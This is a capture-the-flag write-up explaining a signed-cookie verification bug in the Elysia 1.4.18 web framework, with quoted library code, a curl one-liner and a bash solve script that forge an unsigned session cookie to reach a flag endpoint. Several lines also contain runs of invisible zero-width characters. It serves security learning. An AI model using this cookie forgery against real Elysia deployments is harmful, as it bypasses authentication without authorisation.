← Back to Writeups
CUSTOMMediumWeb

Gatery

XESXOR9/2/20264 min read
#web#custom#medium#cookie_signature_bypass#session_forgery#authentication_bypass#source_code_review

Gatery

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cookie_signature_bypass, session_forgery, authentication_bypass, source_code_review

Summary

Walkthrough of the CUSTOM Web Gatery. Task: Bun+Elysia 1.4.18 web app gates a flag endpoint behind a signed session cookie whose admin password is unguessable random. Solution: Elysia 1.4.18's parseCookie array-of-secrets branch initializ

Description

Lysa Harrowmere must trick a guarded castle passage to get inside and deliver evidence. Bypass the gate and read the flag.

A themed medieval-gate React canvas game is presented, but the game UI is purely cosmetic. The real challenge is a Bun + Elysia backend that guards a /api/flag endpoint behind a signed session cookie. The goal is to obtain the HTB{...} flag stored server-side.

Analysis

Tech stack

  • Backend: Bun runtime + Elysia framework 1.4.18, SQLite via bun:sqlite, bcryptjs 2.4.3.
  • Frontend: React 19 + Vite 8 canvas game (cosmetic only).
  • Infra: nginx reverse-proxies /api/ → 127.0.0.1:3000; static files served from /app/dist. The flag is read from /flag.txt into an in-memory variable and returned by an API endpoint. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Backend logic (app/index.ts)

The Elysia app is configured with signed cookies using an array of secrets:

ts
const sessionSecret = randomBytes(32).toString('hex');
new Elysia({ cookie: { secrets: [sessionSecret], sign: ['session'] } })

Relevant endpoints:

  • POST /api/login — validates username/password against the SQLite users table. The admin password is randomBytes(24).base64url (unguessable), stored bcrypt-hashed. On success it sets a signed cookie session='admin'.
  • POST /api/gate/enter — requires session.value ∈ {'admin','inside'}, then upgrades to session='inside'.
  • POST /api/flag — requires session.value === 'inside', returns { ok: true, flag }.
  • /api/me, /api/gate/open, /api/logout — auxiliary. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The intended chain is: log in with valid admin credentials (impossible — the password is 24 random bytes) → gate/enter → flag. Cracking the bcrypt-hashed random admin password is infeasible, so the intended path is a dead end. The gate must therefore be bypassed at the cookie layer.

Root cause — Elysia 1.4.18 signed-cookie verification bypass

Because the cookie name session is declared under sign: ['session'], Elysia is supposed to reject any session cookie that does not carry a valid HMAC signature over one of the configured secrets. In node_modules/elysia/dist/cookies.js, the parseCookie() array-of-secrets branch contains a logic bug: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

js
let decoded = !0;               // decoded = true  <-- BUG: initialized true, never reset
for (let i = 0; i < secrets.length; i++) {
  const temp = await unsignCookie(value, secrets[i]);
  if (temp !== !1) {            // signature verified against this secret
    decoded = !0, value = temp; // set true (redundant) and unwrap value
    break;
  }
}
if (!decoded) throw new InvalidCookieSignature(name);  // never triggers

decoded starts as true and is only ever assigned true inside the success branch — it is never set to false when unsignCookie fails for every secret. Consequently the final if (!decoded) throw ... guard can never fire. When a session cookie is sent with an invalid or absent signature, unsignCookie returns false for the single secret, the loop exits without unwrapping, value retains its raw parsed string, and the cookie is accepted as valid. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Notably, the single-string-secret branch (isStringKey) in the same function correctly throws on signature failure; only the array-of-secrets branch is vulnerable. This challenge uses secrets: [sessionSecret] (an array), so it hits exactly the vulnerable path.

The practical consequence: an attacker can forge session=inside (or session=admin) with no valid HMAC signature at all, and the server treats session.value as that literal string.

Solution

Since the flag endpoint only checks session.value === 'inside', we skip login and gate/enter entirely and forge the inside session directly in a single unauthenticated request: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -s -X POST http://TARGET/api/flag -H "Cookie: session=inside"

Response:

json
{"ok":true,"flag":"HTB{REDACTED}"}

Notes on which value to forge:

  • Forging session=admin would still get a 403 at /api/flag because that endpoint requires inside, not admin.
  • Forging session=inside directly satisfies /api/flag, bypassing both login and gate/enter.

Solve script

bash
#!/usr/bin/env bash
# Gatery (CACTF2026) — Elysia 1.4.18 signed-cookie signature bypass
# Usage: ./solve.sh http://TARGET_HOST:PORT
set -euo pipefail
BASE="${1:?usage: ./solve.sh http://host:port}"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Bug: Elysia 1.4.18 parseCookie array-secrets branch initializes decoded=true
# and never sets it false on signature failure, so a forged (unsigned) cookie
# value is accepted verbatim. Sending session=inside satisfies /api/flag.
curl -s -X POST "$BASE/api/flag" -H "Cookie: session=inside" -w "\n[%{http_code}]\n"

Local verification

To confirm the bug before touching the live target:

  1. Extracted the challenge zip and read app/index.ts, identifying the signed-cookie gate.
  2. bun install elysia@1.4.18 locally and inspected node_modules/elysia/dist/cookies.js parseCookie(), confirming the decoded = true initialization in the array-secrets branch that is never reset on failure.
  3. Ran the app locally with a patched flag path and observed:
    • no cookie → 401
    • session=inside → 200 with the flag
    • session=admin → 403 (endpoint requires inside)
  4. Against the live instance, the same one-liner returned the real flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering cookie_signature_bypass, session_forgery, authentication_bypass, source_code_review was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-27 • CUSTOM • Gatery • Difficulty: Medium